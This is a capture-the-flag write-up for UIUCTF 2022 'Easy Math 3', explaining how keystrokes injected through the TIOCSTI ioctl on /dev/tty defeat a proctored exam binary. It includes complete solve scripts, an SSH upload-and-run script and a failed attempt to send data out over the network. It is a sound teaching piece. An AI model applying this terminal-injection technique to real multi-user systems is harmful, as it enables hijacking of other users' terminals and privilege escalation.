HackMD
    • Create new note
    • Create a note from template
    • Sharing Link copied
    • /edit
    • View mode
      • Edit mode
      • View mode
      • Book mode
      • Slide mode
      Edit mode View mode Book mode Slide mode
    • Customize slides
    • Note Permission
    • Read
      • Only me
      • Signed-in users
      • Everyone
      Only me Signed-in users Everyone
    • Write
      • Only me
      • Signed-in users
      • Everyone
      Only me Signed-in users Everyone
    • Commenting & Invitee
    • Publishing
      Please check the box to agree to the Community Guidelines.
      Everyone on the web can find and read all notes of this public team.
      After the note is published, everyone on the web can find and read this note.
      See all published notes on profile page.
    • Commenting Enable
      Disabled Forbidden Owners Signed-in users Everyone
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Invitee
    • No invitee
    • Options
    • Versions and GitHub Sync
    • Transfer ownership
    • Delete this note
    • Note settings
    • Template
    • Save as template
    • Insert from template
    • Export
    • Dropbox
    • Google Drive Export to Google Drive
    • Gist
    • Import
    • Dropbox
    • Google Drive Import from Google Drive
    • Gist
    • Clipboard
    • Download
    • Markdown
    • HTML
    • Raw HTML
Menu Note settings Sharing Create Help
Create Create new note Create a note from template
Menu
Options
Versions and GitHub Sync Transfer ownership Delete this note
Export
Dropbox Google Drive Export to Google Drive Gist
Import
Dropbox Google Drive Import from Google Drive Gist Clipboard
Download
Markdown HTML Raw HTML
Back
Sharing
Sharing Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Comment & Invitee
Publishing
Please check the box to agree to the Community Guidelines.
Everyone on the web can find and read all notes of this public team.
After the note is published, everyone on the web can find and read this note.
See all published notes on profile page.
More (Comment, Invitee)
Commenting Enable
Disabled Forbidden Owners Signed-in users Everyone
Permission
Owners
  • Forbidden
  • Owners
  • Signed-in users
  • Everyone
Invitee
No invitee
   owned this note    owned this note      
Published Linked with GitHub
Like BookmarkBookmarked
Subscribed
  • Any changes
    Be notified of any changes
  • Mention me
    Be notified of mention me
  • Unsubscribe
Subscribe
# Easy Math 3 ![](https://i.imgur.com/CtGcFKI.jpg =x300) _"student wearing an eyepatch taking a proctored math exam, cartoon style"_ Writeup by: Kevin He (name on team: `cupr1c`) Team: Phiat Lux ## Overview - CTF: UIUCTF 2022 - Category: Pwn - Points: 426 - Solves: 12 This is the most difficult among the three challenges in the "Easy Math" series. The idea behind Easy Math 1,2,3 is that you are presented with a "math exam" (implemented as a set-UID binary `easy-math`) to multiply small numbers. The math is the easy part. The hard part is that there are 10000 questions and it is infeasible to manually do it (and indeed impossible for Easy Math 2,3 as we will see), and the binary detects stdin redirection to thwart automated "cheating" scripts. ## Attachments ### Local Setup `easy-math.c`, the source code of the set-UID binary on the remote side can be found in [my Gist](https://gist.github.com/kevin-he-01/4fe2f02204e31500e4ea6ad318164300). ### Remote Connection details :::warning :warning: The infrastructure is likely going to be down a week past the competition is over, so don't expect that you will actually be able to connect. Download files from my gist above if you would like to reproduce the infrastructure. ::: - Easy Math 1: `ssh ctf@easy-math.chal.uiuc.tf` password is `ctf` - Easy Math 2: `ssh ctf-part-2@easy-math.chal.uiuc.tf` password is also `ctf` - Easy Math 3: `ssh ctf-part-3@easy-math.chal.uiuc.tf` password is `6d49a6fb` :::info I personally like using `sshpass` instead so I can integrate the commands into a script easily. To connect to those challenges, I used these commands instead: ``` sshpass -p ctf ssh ctf@easy-math.chal.uiuc.tf sshpass -p ctf ssh ctf-part-2@easy-math.chal.uiuc.tf sshpass -p 6d49a6fb ssh ctf-part-3@easy-math.chal.uiuc.tf ``` My solve scripts may require you to have the [sshpass](https://sourceforge.net/projects/sshpass/) command installed. It can be easily installed on Debian-like systems with ``` sudo apt install sshpass ``` ::: :::danger :rotating_light: **Do not** use `sshpass` with the `-p` flag to pass secret passwords to the SSH servers you care about. On a multi-user system, command line arguments of every process can be extracted easily by **any** user on the system using `ps`. Here it is fine since the SSH account is supposed to be public. ::: ## Solution Even though this is a writeup for Easy Math 3, I will explain how I developed my exploit progressively starting with Easy Math 1. ### Easy Math 1 Running SSH on Easy Math 1 gives: ``` $ ssh ctf@easy-math.chal.uiuc.tf ctf@easy-math.chal.uiuc.tf's password: == proof-of-work: disabled == ctf@test-center:~$ ls README easy-math easy-math.c flag ctf@test-center:~$ ./easy-math Welcome to the MATH 101 final exam. Checking your student ID... The test begins now. You have three hours. Question 1: 3 * 1 = 3 Question 2: 14 * 0 = 0 Question 3: 1 * 8 = 8 Question 4: 15 * 6 = bad You have failed the test. ``` If you try to redirect stdin, the binary detects it: ``` ctf@test-center:~$ echo -n 42 | ./easy-math Welcome to the MATH 101 final exam. Checking your student ID... The proctor kicks you out for pretending to be a student. ctf@test-center:~$ ./easy-math < /dev/null Welcome to the MATH 101 final exam. Checking your student ID... The proctor kicks you out for pretending to be a student. ``` Looking at the source code of [easy-math.c](https://gist.github.com/kevin-he-01/4fe2f02204e31500e4ea6ad318164300#file-easy-math-c), specifically the "Check your student ID..." part, I found that the binary checks if stdin is the same as the original terminal (stdin of PID 1, the root process in the container): ```c=29 int check_id() { printf("Checking your student ID...\n\n"); sleep(1); struct stat real, given; if (stat("/proc/1/fd/0", &real)) return 1; if (fstat(0, &given)) return 1; if (real.st_dev != given.st_dev) return 1; if (real.st_ino != given.st_ino) return 1; return 0; } ``` For now the easiest solution appears to be hiding my solve script locally, since the SSH server cannot detect anything on the client side. It is a nice exercise to write such a script, which I will include in a spoiler below: :::spoiler Solve script for Easy Math 1 ```python= from typing import Any from pwn import * context.log_level = 'debug' p = process(['sshpass', '-p', 'ctf', 'ssh', 'ctf@easy-math.chal.uiuc.tf']) send: Any = p.sendline send(b'./easy-math') p.recvuntil(b'The test begins now. You have three hours.') for i in range(10000): p.recvuntil(': ') fn = int(p.recvuntil(' * ', drop=True)) sn = int(p.recvuntil(' = ', drop=True)) print(fn, sn) send(str(fn * sn).encode()) p.interactive() ``` ::: <p></p> After waiting for the script to finish [^1], we are greeted with the flag and a message telling you that this solution will not work for Easy Math 2 or 3: ```! Nice job! Now, the question is, did you do it the fun way, or by hiding behind your ssh client? Part 1 flag: uiuctf{now do it the fun way :D} To solve part 2, use `ssh ctf-part-2@easy-math.chal.uiuc.tf` (password is still ctf) This time, your input is sent in live, but you don't get any output until after your shell exits. ``` ### Easy Math 2 and 3 For easy math 2 and 3, `ssh` will no longer echo back anything, and you must type all the commands blindfolded. This is intended to force you to resort to automated solutions that run entirely on the remote machine [^2], and carefully avoid being caught _cheating_ by the proctor. #### The first (failed) attempt I cannot think of any immediate way to solve these challenges without redirecting input. The key thing that prevents us from adapting the solution from Easy Math 1 is that a local solve script cannot get any information on what the questions are on the remote side, since the exam is blindfolded. The usage of a _cryptographically strong_ `/dev/urandom` device prevents the script from predicting the questions also. The first thing I tried is to see if I can leak any information out of the "test center" through side-channels other than standard output. My first idea is to "phone home" via the network. Since there is no `ping`, `curl`, `ip`, or `ifconfig` command installed on the SSH remote, I have to resort to Python to check if there is any network connectivity: ``` ctf@test-center:~$ python3 Python 3.6.9 (default, Jun 29 2022, 11:45:57) [GCC 8.4.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> import socket >>> s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) >>> s.connect(('93.184.216.34', 80)) # 93.184.216.34: IP of www.example.com, TCP/80: HTTP Traceback (most recent call last): File "<stdin>", line 1, in <module> OSError: [Errno 101] Network is unreachable ``` ![](https://i.imgur.com/Cyywf87.png =x300) _"no cell phones sign on a wall"_ Guess my exploit cannot phone home at the test center, which makes sense, so I decided to give up this approach. #### The second (successful) attempt Now let's look for an "honest" solution that runs entirely on the remote side (doing what the challenge author calls the _fun_ way). It would be nice if there is a way to send input directly to the raw terminal device, since that would allow me to pretend to be the "student" without redirecting input, so the "proctor" would not notice. The terminal in Linux is represented by the `/dev/tty` device. As long as the SSH session actually allocates a TTY, stdin (FD 0) and stdout (FD 1) of an interactive process defaults to `/dev/tty` unless redirected. Reading from `/dev/tty` will read stuff from the terminal user, and writing to `/dev/tty` will write stuff on the terminal screen. This way stdin and stdout just work auto-magically for a process. However, we are looking for a way to _write_ to the terminal _input_, which is not achieved by either `read()` or `write()` on `/dev/tty`. It turns out there is another system call designed specifically to manipulate terminal devices: `ioctl()`. I remembered once reading about [a vulnerability](https://ruderich.org/simon/notes/su-sudo-from-root-tty-hijacking) in `su`/`sudo` [^3], where an unprivileged user (after being impersonated by a superuser using `su`/`sudo`) can take her revenge and inject malicious keystrokes into the terminal using the `TIOCSTI` `ioctl` on `/dev/tty`. Normally the keystrokes go into the user's own processes, but if the user process decides to exit, the keystrokes goes to the terminal of the _superuser_, who is likely running a shell! This is exactly what we are looking for: by writing input with the terminal while the `easy-math` binary is running, we can inject keystrokes to answer the questions. In addition, since we are running on the remote side, and unlike it does for stdin, `easy-math` does nothing to check that stdout goes to the terminal, so we can pipe its output to our malicious script like this: ```bash ./easy-math | python3 solve.py ``` This allows our malicious script full control over both the output and input of `easy-math`. #### The Attack Fortunately, despite being a very high level language, Python has a rich API for system calls. To perform the `ioctl` syscall, we can use the `fcntl` module and even get constants from `termios`. Other people have approached this by compiling a C binary that does the system call, which adds the overhead of process creation and can potentially slow down the solve. By modifying the solve script of "Easy Math 1" (change where the I/O goes), I made the Python script to be run on the remote machine: :::spoiler `solve.py` ```python= import fcntl, termios import sys from typing import IO pout = sys.stdin # Read a single line from stdout of ./easy-math def readline(): line = pout.readline() if line == '': raise EOFError return line tty = open('/dev/tty', 'rb') # Send string into stdin of ./easy-math def send(s: str): for c in s: fcntl.ioctl(tty, termios.TIOCSTI, c.encode()) readline() readline() readline() def recvuntil(io: IO[str], dc: str) -> str: def chars(): while True: c = io.read(1) if c == '': raise EOFError yield c if c == dc: break return ''.join(chars()) for i in range(10000): recvuntil(pout, ':') pout.read(1) # space line = recvuntil(pout, '=') pout.read(1) # space star = line.find(' * ') eq = line.find(' =') fn = line[:star] sn = line[star+3:eq] send(str(int(fn) * int(sn)) + '\n') # Make sure to dump the flag. The most important thing to do in a CTF # Will eventually throw EOFError but we don't care while True: print(readline()) ``` ::: <p></p> Then we have to send this file to the SSH remote and pipe `./easy-math` to it, I decided to write a script that does exactly this in a fully automated fashion: :::spoiler `connect.sh` ```bash= #! /bin/sh # Use a token that DOES NOT show up in your solve.py # See this tutorial on bash here strings: https://tldp.org/LDP/abs/html/x17837.html token='HERE' # Output the commands to send to the SSH shell gen_cmds () { echo "tee /tmp/solve.py << $token" cat solve.py # Include the **contents** of solve.py echo "$token" echo './easy-math | python3 /tmp/solve.py; exit' } # Must use the -tt flag to FORCE ssh to allocate a TTY on the remote side # (even if the local stdin is redirected), # since the exploit depends on the availability of /dev/tty # Uncomment for PART 3: gen_cmds | sshpass -p 6d49a6fb ssh -tt ctf-part-3@easy-math.chal.uiuc.tf # Uncomment for PART 2: # gen_cmds | sshpass -p ctf ssh -tt ctf-part-2@easy-math.chal.uiuc.tf ``` ::: <p></p> Some explanations for that script: `gen_cmds` generates the commands to be sent to SSH. One can try modifying the script to just run `gen_cmds` without piping to see what commands it generates. `tee <file>` is a trick where it reads from standard input and writes to both stdout and the file. It behaves like a non-interactive text editor and is useful in automated scripts. There is a feature in bash called [here strings](https://tldp.org/LDP/abs/html/x17837.html). It is a neat way to specify the boundary between stdin of the `tee` command and subsequent commands, since sending the EOF character `^D` can be difficult to do non-interactively. #### The Flag Running `connect.sh` returns the :triangular_flag_on_post: in a few seconds (which is _orders of magnitude faster_ than the solution for easy math 1 shown above!). The numbers are the answers to the math questions and will change every time: ``` $ ./connect.sh ... 28 18 63 uiuctf{file descriptors are literally magic} Traceback (most recent call last): File "/tmp/solve.py", line 51, in <module> print(readline()) File "/tmp/solve.py", line 12, in readline raise EOFError EOFError logout --- Connection to easy-math.chal.uiuc.tf closed. ``` Looks like this is an unintended solution as we used no magic about file descriptors. The same technique can be used to solve Easy Math 2. A list of file captured this way is here: :::info Easy Math 1: `uiuctf{now do it the fun way :D}` Easy Math 2: `uiuctf{excellent execution}` Easy Math 3: `uiuctf{file descriptors are literally magic}` ::: ## Thoughts The `su`/`sudo` vulnerability inspired me to make the pwn challenge [HAXLAB S](https://github.com/acmucsd/sdctf-2021/tree/main/pwn/haxlab-s) for SDCTF 2021, where the basic idea is that via `seccomp` rules one is restricted from doing anything except `read`, `write`, and `ioctl` on already open file descriptors. It is interesting how often the `TIOCSTI` feature can be abused to create vulnerabilities, such as this [bubblewrap](https://nvd.nist.gov/vuln/detail/CVE-2017-5226) one, since developers of sandboxes generally assume the terminal is trusted. OpenBSD --- a very security-focused OS --- decided to [remove this dangerous `ioctl` altogether](https://undeadly.org/cgi?action=article;sid=20170701132619) so solve the root cause. Unfortunately, this is where Linux chooses to maintain backward compatibility over security. [^1]: It took more than 10 minutes for me but YMMV since the time greatly depends on the network latency/ping as your script runs locally and is essentially playing ping-pong with the server [^2]: Easy Math 2 actually has an unintended solution that allows solving it in a similar way as Easy Math 1. This is "patched" in Easy Math 3 [^3]: As far as I know this severe vulnerability --- which can easily result in privilege escalation on multi-user systems --- is still essentially _unpatched_ (!) in most Linux distributions without the use of special CLI flags due to concerns on backward compatibility.

Import from clipboard

Advanced permission required

Your current role can only read. Ask the system administrator to acquire write and comment permission.

This team is disabled

Sorry, this team is disabled. You can't edit this note.

This note is locked

Sorry, only owner can edit this note.

Reach the limit

Sorry, you've reached the max length this note can be.
Please reduce the content or divide it to more notes, thank you!

Import from Gist

Import from Snippet

or

Export to Snippet

Are you sure?

Do you really want to delete this note?
All users will lost their connection.

Create a note from template

Create a note from template

Oops...
This template is not available.


Upgrade

All
  • All
  • Team
No template found.

Create custom template


Upgrade

Delete template

Do you really want to delete this template?

This page need refresh

You have an incompatible client version.
Refresh to update.
New version available!
See releases notes here
Refresh to enjoy new features.
Your user state has changed.
Refresh to load new user state.

Sign in

Forgot password

or

By clicking below, you agree to our terms of service.

Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox

New to HackMD? Sign up

Help

  • English
  • 中文
  • Français
  • Deutsch
  • 日本語
  • Español
  • Català
  • Ελληνικά
  • Português
  • italiano
  • Türkçe
  • Русский
  • Nederlands
  • hrvatski jezik
  • język polski
  • Українська
  • हिन्दी
  • svenska
  • Esperanto
  • dansk

Documents

Tutorials

Book Mode Tutorial

Slide Mode Tutorial

YAML Metadata

Contacts

Facebook

Twitter

Discord

Feedback

Send us email

Resources

Releases

Pricing

Blog

Policy

Terms

Privacy

Cheatsheet

Syntax Example Reference
# Header Header 基本排版
- Unordered List
  • Unordered List
1. Ordered List
  1. Ordered List
- [ ] Todo List
  • Todo List
> Blockquote
Blockquote
**Bold font** Bold font
*Italics font* Italics font
~~Strikethrough~~ Strikethrough
19^th^ 19th
H~2~O H2O
++Inserted text++ Inserted text
==Marked text== Marked text
[link text](https:// "title") Link
![image alt](https:// "title") Image
`Code` Code 在筆記中貼入程式碼
```javascript
var i = 0;
```
var i = 0;
:smile: :smile: Emoji list
{%youtube youtube_id %} Externals
$L^aT_eX$ LaTeX
:::info
This is a alert area.
:::

This is a alert area.

Versions

Versions and GitHub Sync

Sign in to link this note to GitHub Learn more
This note is not linked with GitHub Learn more
 
Add badge Pull Push GitHub Link Settings
Upgrade now

Version named by    

More Less
  • Edit
  • Delete

Note content is identical to the latest version.
Compare with
    Choose a version
    No search result
    Version not found

Feedback

Submission failed, please try again

Thanks for your support.

On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

Please give us some advice and help us improve HackMD.

 

Thanks for your feedback

Remove version name

Do you want to remove this version name and description?

Transfer ownership

Transfer to
    Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

      Link with GitHub

      Please authorize HackMD on GitHub

      Please sign in to GitHub and install the HackMD app on your GitHub repo. Learn more

       Sign in to GitHub

      HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.

      Push the note to GitHub Push to GitHub Pull a file from GitHub

        Authorize again
       

      Choose which file to push to

      Select repo
      Refresh Authorize more repos
      Select branch
      Select file
      Select branch
      Choose version(s) to push
      • Save a new version and push
      • Choose from existing versions
      Available push count

      Upgrade

      Pull from GitHub

       
      File from GitHub
      File from HackMD

      GitHub Link Settings

      File linked

      Linked by
      File path
      Last synced branch
      Available push count

      Upgrade

      Danger Zone

      Unlink
      You will no longer receive notification when GitHub file changes after unlink.

      Syncing

      Push failed

      Push successfully